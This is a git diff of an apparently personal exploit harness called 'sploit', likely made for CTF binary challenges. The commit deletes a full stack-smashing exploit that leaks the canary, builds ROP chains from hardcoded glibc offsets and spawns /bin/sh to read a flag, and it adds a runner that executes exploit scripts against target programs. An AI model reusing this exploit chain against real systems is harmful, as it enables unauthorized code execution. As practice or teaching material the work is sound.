summaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
-rw-r--r--__init__.py4
-rw-r--r--setup.py7
l---------sploit1
-rwxr-xr-xsploit.py206
-rw-r--r--sploit/__init__.py1
l---------sploit/__main__.py1
-rw-r--r--sploit/comm.py68
-rw-r--r--sploit/log.py6
-rw-r--r--sploit/main.py44
-rwxr-xr-xsploitconfig.py13
-rwxr-xr-xsploitlog.py17
l---------sploitpipe1
-rwxr-xr-xsploitpipe.sh21
-rwxr-xr-xsploitrunner.py38
-rwxr-xr-xsploitutil.py34
15 files changed, 133 insertions, 329 deletions
diff --git a/__init__.py b/__init__.py
new file mode 100644
index 0000000..8a53886
--- /dev/null
+++ b/__init__.py
@@ -0,0 +1,4 @@
+from os.path import join, dirname
+libpath=join(dirname(__file__),"sploit")
+__path__ = [libpath]
+exec(open(join(libpath,"__init__.py")).read())
diff --git a/setup.py b/setup.py
new file mode 100644
index 0000000..eb1b299
--- /dev/null
+++ b/setup.py
@@ -0,0 +1,7 @@
+from setuptools import setup
+setup(
+ name='sploit',
+ version='0',
+ packages=['sploit'],
+ entry_points={"console_scripts":["sploit=sploit.main:main"]}
+ )
diff --git a/sploit b/sploit
deleted file mode 120000
index 1ba655a..0000000
--- a/sploit
+++ /dev/null
@@ -1 +0,0 @@
-sploit.py \ No newline at end of file
diff --git a/sploit.py b/sploit.py
index b277cb0..fd9b482 100755
--- a/sploit.py
+++ b/sploit.py
@@ -1,205 +1,3 @@
#!/usr/bin/env python3
-
-#if sploit is called with command line arguments,
-#it will use them to call the target program with popen
-#otherwise, sploit will use stdin/stdout
-#you can use sploitpipe to run sploit with pipes spltin/spltout
-#which can be used with the target program
-#<spltin ./target &>spltout
-#or from within gdb
-#r <spltin &>spltout
-#if given a program name on the command line, we'll use popen
-#otherwise, we use stdin/stdout
-#in the latter case, you can use sploitpipe to set up spltin and spltout
-
-import time
-
-import sploitutil as util
-import sploitrunner
-
-#specify which glibc offsets to use
-testing = True
-
-#puts,system,and binsh string offsets into glibc
-#https://libc.blukat.me/
-#https://libc.rip/
-#search two functions and the least significant 12 bits of their address
-#then use the resulting glibc to get offsets for the exploit
-#for whatever reason, some of these are off by a small amount
-#printing the contents out(even bytes of instructions)
-#and comparing to what I expect in gdb has been enough to figure it out
-#also, if we have the actual library
-#objdump -T libc.so | grep '_puts'
-#xxd libc.so | grep '/bin'
-
-#my kali glibc (puts:0x5f0,setvbuf:0xcd0)
-#https://libc.blukat.me/?q=_IO_puts%3A5f0%2C_IO_setvbuf%3Acd0
-#libc6_2.31-9_amd64
-#str_bin_sh was off for this one. I had to subtract 0x04 to get it right
-libc_offset = util.itob(0x0765f0)
-libc_system = util.itob(0x048e50)
-libc_execve = util.itob(0x0cb6c0)
-libc_exit = util.itob(0x0cb670)
-libc_binsh = util.itob(0x18a152)
-libc_poprdx_poprbx = util.itob(0x1376e2)
-#target glibc (puts:0x5a0,setvbuf:0xe60)
-#https://libc.blukat.me/?q=_IO_puts%3A5a0%2C_IO_setvbuf%3Ae60
-#libc6_2.31-0ubuntu9.2_amd64 (3 listed, but all I care about was the same)
-if not testing:
- libc_offset = util.itob(0x0875a0)
- libc_system = util.itob(0x055410)
- libc_execve = util.itob(0x0e62f0)
- libc_exit = util.itob(0x0e6290)
- libc_binsh = util.itob(0x1b75aa)
- libc_poprdx_poprbx = util.itob(0x162866)
-
-frame_len = 0x108
-
-string = b'Hello, World!\n'
-
-shellcode = b'\xeb\x13\x59\x31\xc0\xb0\x04\x31\xdb\x43\x31\xd2\xb2\x0e\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe8\xff\xff'+string
-
-payloads = {
- 'null' : util.itob(0x00),
- #stack smash
- 'fill' : b'A'*(frame_len),
- 'string' : string+b'A'*(frame_len-len(string)),
- 'shellcode' : b'\x90'*(frame_len-len(shellcode))+shellcode,
- 'canary' : util.itob(0xdeadbeef),
- #stack addresses
- 'buffaddr' : util.itob(0x7fffffff0000),
- #static addresses
- 'startaddr' : util.itob(0x4005d0),
- 'targetaddr' : util.itob(0x400725),
- 'pltaddr' : util.itob(0x4005c0),
- 'gotaddr' : util.itob(0x600fe8),
- 'gotaddr2' : util.itob(0x601030),
- #rop gadgets
- 'ret' : util.itob(0x400801),
- 'poprdi' : util.itob(0x400873),
- 'poprsi_popr15' : util.itob(0x400871)
-}
-
-
-def sploit(stdin, stdout):
- c = util.Communication(stdin,stdout)
-
- def preamble():
- #preamble
- c.recv()
- #smash the stack up to canary
- #+ a newline to overwrite the null and delimit the next two readlines
- c.send( payloads['fill']
- +b'\n')
- #most of the echo
- c.recv()
- #get the canary from the echo
- out = c.recv()
- canary = b'\x00'+out[:7]
- return canary
-
- #rop to find the address of setvbuf in memory
- #for the purpose of looking up the glibc offsets in a database
- canary = preamble()
- ropchain = payloads['poprdi'] #pop rdi,ret
- ropchain += payloads['gotaddr2'] #rdi; pointer to setvbuf.got
- ropchain += payloads['pltaddr'] #ret puts
- #rop to find the address of puts in memory
- #for the purpose of looking up the glibc offsets in a database
- #and then we will use this to calculate our glibc base at runtime
- ropchain += payloads['poprdi'] #pop rdi,ret
- ropchain += payloads['gotaddr'] #rdi; pointer to puts.got
- ropchain += payloads['pltaddr'] #ret puts
- ropchain += payloads['startaddr'] #ret _start to fix stack
- #smash stack again, but with canary and rop
- #this will print out the address of puts in memory
- c.send( payloads['fill']
- +canary
- +payloads['buffaddr']
- +ropchain)
-
- #get the glibc puts address
- c.recv()
- out = c.recv()
- libc_addr = out[:8]
- #if puts() terminated on a \x00 (like the most sig bits of an address)
- #our [:8] might get less than 8 bytes of address + a newline
- #so strip that newline
- if libc_addr[-1:] == b'\n':
- libc_addr = libc_addr[:-1]
- #calculate glibc base address
- libc = util.Libc(libc_addr,libc_offset)
- libc_base = libc.base()
- #use that to calculate other glibc addresses
- system_addr = libc.addr(libc_system)
- execve_addr = libc.addr(libc_execve)
- exit_addr = libc.addr(libc_exit)
- binsh_addr = libc.addr(libc_binsh)
- poprdx_poprbx_addr = libc.addr(libc_poprdx_poprbx)
-
- canary = preamble()
- #print first few bytes of glibc
- #this is to validate our offset
- #a proper ELF file starts with '\x7fELF'
- ropchain = payloads['poprdi'] #pop rdi,ret
- ropchain += libc_base #rdi; pointer to glibc
- ropchain += payloads['pltaddr'] #ret puts
- #rop to puts("/bin/sh")
- #this is to validate our offset
- ropchain += payloads['poprdi'] #pop rdi,ret
- ropchain += binsh_addr #rdi; pointer to "/bin/sh"
- ropchain += payloads['pltaddr'] #ret puts
- ropchain += payloads['startaddr'] #ret _start
- c.send( payloads['fill']
- +canary
- +payloads['buffaddr']
- +ropchain)
- c.recv()
- c.recv()
-
- #rop to execve("/bin/sh",0,0)
- #canary = preamble()
- #ropchain = payloads['poprdi'] #pop rdi,ret
- #ropchain += binsh_addr #rdi; pointer to "/bin/sh"
- #ropchain += payloads['poprsi_popr15'] #pop rsi,pop r15,ret
- #ropchain += payloads['null'] #rsi
- #ropchain += payloads['null'] #r15
- #ropchain += poprdx_poprbx_addr #pop rdx,pop rbx,ret
- #ropchain += payloads['null'] #rdx
- #ropchain += payloads['null'] #rbx
- #ropchain += execve_addr #ret execve
- #ropchain += payloads['poprdi'] #pop rdi,ret
- #ropchain += payloads['null'] #rdi 0
- #ropchain += exit_addr #ret exit to exit cleanly
-
- #rop to system("/bin/sh")
- canary = preamble()
- ropchain = payloads['poprdi'] #pop rdi,ret
- ropchain += binsh_addr #rdi; pointer to "/bin/sh"
- ropchain += payloads['ret'] #extra ret for 16byte stack alignment
- ropchain += system_addr #ret system
- ropchain += payloads['poprdi'] #pop rdi,ret
- ropchain += payloads['null'] #rdi 0
- ropchain += exit_addr #ret exit to exit cleanly
- c.send( payloads['fill']
- +canary
- +payloads['buffaddr']
- +ropchain)
-
- #we need to synchronize when read() finishes before sending more data
- #we could insert another puts() into the rop and call c.recv()
- #or we can just sleep for a second
- time.sleep(1)
-
- #try some shell commands
- c.send(b'whoami\n')
- c.send(b'pwd\n')
- c.send(b'ls\n')
- c.send(b'cat flag\n')
- c.send(b'cat flag.txt\n')
- c.send(b'exit\n')
-
- return
-
-#run our sploit
-sploitrunner.runsploit(sploit)
+from sploit.main import main
+main()
diff --git a/sploit/__init__.py b/sploit/__init__.py
new file mode 100644
index 0000000..c7d2c93
--- /dev/null
+++ b/sploit/__init__.py
@@ -0,0 +1 @@
+__all__ = ["log","comm"]
diff --git a/sploit/__main__.py b/sploit/__main__.py
new file mode 120000
index 0000000..98537fc
--- /dev/null
+++ b/sploit/__main__.py
@@ -0,0 +1 @@
+../sploit.py \ No newline at end of file
diff --git a/sploit/comm.py b/sploit/comm.py
new file mode 100644
index 0000000..009f193
--- /dev/null
+++ b/sploit/comm.py
@@ -0,0 +1,68 @@
+import subprocess
+import tempfile
+import os
+
+from sploit.log import log
+
+class Comm:
+ def __init__(self, backend):
+ self.back = backend
+
+ def __del__(self):
+ for line in self.back.stdin:
+ log(line)
+
+ def read(self, size):
+ data = self.back.stdin.read(size)
+ log(data)
+ return data
+
+ def readline(self):
+ data = self.back.stdin.readline()
+ log(data)
+ return data
+
+ def write(self, data):
+ self.back.stdout.write(data)
+ self.back.stdout.flush()
+
+ def writeline(self, data):
+ self.write(data + b'\n')
+
+class Process:
+ def __init__(self, args):
+ print(f"Running: {' '.join(args)}")
+ self.proc = subprocess.Popen(args,
+ stdin=subprocess.PIPE,
+ stdout=subprocess.PIPE,
+ stderr=subprocess.STDOUT)
+ print(f"PID: {self.proc.pid}")
+ self.stdin = self.proc.stdout
+ self.stdout = self.proc.stdin
+
+ def __del__(self):
+ self.proc.wait()
+
+class Pipes:
+ def __init__(self,tmp=None):
+ if(tmp == None):
+ self.dir = tempfile.TemporaryDirectory()
+ dirname = self.dir.name
+ else:
+ dirname = os.path.join("/tmp",tmp)
+ self.pathin = os.path.join(dirname,"in")
+ self.pathout = os.path.join(dirname,"out")
+ os.mkfifo(self.pathin)
+ os.mkfifo(self.pathout)
+ print("Waiting on Target to Connect...")
+ print("<"+self.pathin+" >"+self.pathout)
+ self.stdout = open(self.pathin,"wb")
+ self.stdin = open(self.pathout, "rb")
+ print("Connected!")
+
+ def __del__(self):
+ self.stdout.close()
+ self.stdin.close()
+ os.unlink(self.pathin)
+ os.unlink(self.pathout)
+
diff --git a/sploit/log.py b/sploit/log.py
new file mode 100644
index 0000000..cd9c3be
--- /dev/null
+++ b/sploit/log.py
@@ -0,0 +1,6 @@
+ENCODING = ''
+def log(s):
+ if ENCODING != '':
+ s = s.decode(ENCODING)
+ print(s)
+
diff --git a/sploit/main.py b/sploit/main.py
new file mode 100644
index 0000000..ebcbd41
--- /dev/null
+++ b/sploit/main.py
@@ -0,0 +1,44 @@
+import argparse
+import tempfile
+
+from sploit.comm import *
+
+def main():
+ parser = argparse.ArgumentParser(description='Execute Sploit Script Against Target')
+ parser.add_argument('-d', '--daemon', action='store_true',
+ help='run in "daemon" mode with pipes instead of a designated target')
+ parser.add_argument('script',
+ help='exploit script to run')
+ parser.add_argument('target', nargs=argparse.REMAINDER,
+ help='target program to exploit')
+ args = parser.parse_args()
+
+ if(len(args.target)>0):
+ if(args.daemon):
+ print("Target Given. Ignoring Daemon Flag...")
+ target(args.script,args.target)
+ else:
+ if(args.daemon):
+ daemon(args.script)
+ else:
+ pipe(args.script)
+
+def daemon(script):
+ print("Running in Pipe Daemon Mode...")
+ tmpdir = tempfile.TemporaryDirectory()
+ tmp = os.path.split(tmpdir.name)[1]
+ while(True):
+ runscript(script,Comm(Pipes(tmp)));
+
+def pipe(script):
+ print("Running in Pipe Mode...");
+ runscript(script,Comm(Pipes()));
+
+def target(script,target):
+ print("Running in Target Mode...")
+ runscript(script,Comm(Process(target)));
+
+def runscript(script,comm):
+ print("Running Script...")
+ exec(open(script).read())
+
diff --git a/sploitconfig.py b/sploitconfig.py
deleted file mode 100755
index 084a59d..0000000
--- a/sploitconfig.py
+++ /dev/null
@@ -1,13 +0,0 @@
-#!/usr/bin/env python3
-
-import sys
-
-#if given a program name on the command line, we'll use popen
-#otherwise, we use stdin/stdout
-#in the latter case, you can use sploitpipe to set up spltin and spltout
-use_popen = len(sys.argv) > 1
-#sleep for this many seconds to give time to attach gdb
-wait_for_gdb = 0
-#will decode output with this encoding for printing
-#or if empty, will print as bytes
-log_encoding = ''#'utf-8'
diff --git a/sploitlog.py b/sploitlog.py
deleted file mode 100755
index eab1fc7..0000000
--- a/sploitlog.py
+++ /dev/null
@@ -1,17 +0,0 @@
-#!/usr/bin/env python3
-
-import os
-
-import sploitconfig as config
-
-#this function does not look at the run mode and will write to stdout regardless
-#use sploitutil.log instead
-def sploitlog(s):
- if config.log_encoding != '':
- s = s.decode(config.log_encoding)
- print(s)
-
-if __name__ == '__main__':
- stdin = os.fdopen(0,"rb")
- for s in stdin:
- sploitlog(s)
diff --git a/sploitpipe b/sploitpipe
deleted file mode 120000
index 3e5a956..0000000
--- a/sploitpipe
+++ /dev/null
@@ -1 +0,0 @@
-sploitpipe.sh \ No newline at end of file
diff --git a/sploitpipe.sh b/sploitpipe.sh
deleted file mode 100755
index a761ad5..0000000
--- a/sploitpipe.sh
+++ /dev/null
@@ -1,21 +0,0 @@
-#!/bin/bash
-
-#sets up sploit.py to use the input/output of a target program
-#after running ./sploit you can launch the target program with
-#<spltin ./target_program &>spltout
-#also works in gdb
-#r <spltin &>spltout
-#or run the program in the background and set the gdb wait timer in sploit.py
-# <spltin ./target_program &>spltout &
-# gdb -p <pid that gets printed out when backgrounding target>
-
-rm spltin 2> /dev/null
-rm spltout 2> /dev/null
-
-mkfifo spltin
-mkfifo spltout
-
-<spltout tee >(./sploit.py &>spltin) | ./sploitlog.py
-
-rm spltin
-rm spltout
diff --git a/sploitrunner.py b/sploitrunner.py
deleted file mode 100755
index f0e5ac6..0000000
--- a/sploitrunner.py
+++ /dev/null
@@ -1,38 +0,0 @@
-#!/usr/bin/env python3
-
-import os
-import sys
-import subprocess
-import time
-
-import sploitconfig as config
-import sploitutil as util
-
-#infrastructure to run sploit
-#if sploit is called with command line arguments,
-#it will use them to call the target program with popen
-#otherwise, sploit will use stdin/stdout
-#you can use sploitpipe to run sploit with pipes spltin/spltout
-#which can be used with the target program
-#<spltin ./target &>spltout
-#or from within gdb
-#r <spltin &>spltout
-def runsploit(sploit):
- if config.use_popen:
- print(sys.argv[1:])
- p = subprocess.Popen(sys.argv[1:],stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.STDOUT)
-
- stdin = p.stdout if config.use_popen else os.fdopen(0,"rb")
- stdout = p.stdin if config.use_popen else os.fdopen(1,"wb")
-
- if config.wait_for_gdb > 0:
- time.sleep(config.wait_for_gdb)
-
- #exec custom sploit
- sploit(stdin,stdout)
-
- #read anything else out and wait for termination
- for line in stdin:
- util.log(line)
- if config.use_popen:
- p.wait()
diff --git a/sploitutil.py b/sploitutil.py
deleted file mode 100755
index 00d2151..0000000
--- a/sploitutil.py
+++ /dev/null
@@ -1,34 +0,0 @@
-#!/usr/bin/env python3
-
-import sploitconfig as config
-from sploitlog import sploitlog
-
-def btoi(b):
- return int.from_bytes(b,'little')
-
-def itob(i):
- return i.to_bytes(8,'little',signed=True)
-
-class Libc:
- def __init__(self,libc_addr,libc_offset):
- self.libc_base = btoi(libc_addr)-btoi(libc_offset)
- def base(self):
- return itob(self.libc_base)
- def addr(self,offset):
- return itob(self.libc_base + btoi(offset))
-
-def log(s):
- if config.use_popen:
- sploitlog(s)
-
-class Communication:
- def __init__(self,stdin,stdout):
- self.stdin = stdin
- self.stdout = stdout
- def send(self,s):
- self.stdout.write(s)
- self.stdout.flush()
- def recv(self):
- out = self.stdin.readline()
- log(out)
- return out